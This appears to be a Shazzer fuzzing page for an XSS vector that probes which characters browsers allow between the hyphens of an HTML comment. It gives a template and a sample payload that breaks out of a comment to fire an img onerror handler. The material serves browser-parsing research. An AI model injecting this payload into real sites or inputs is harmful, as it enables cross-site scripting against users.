Characters allowed in-between hyphens

This vector shows what characters are allowed in-between hyphens of a HTML comment.

Shazzer Elite

Created Apr 14, 2024

Updated May 14, 2025

Detecting browser...

CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<!-$[chr]- ><xmp>--><img src/onerror=log($[i])>-->

Sample payloads

<!--- ><xmp>--><img src/onerror=alert(45)>-->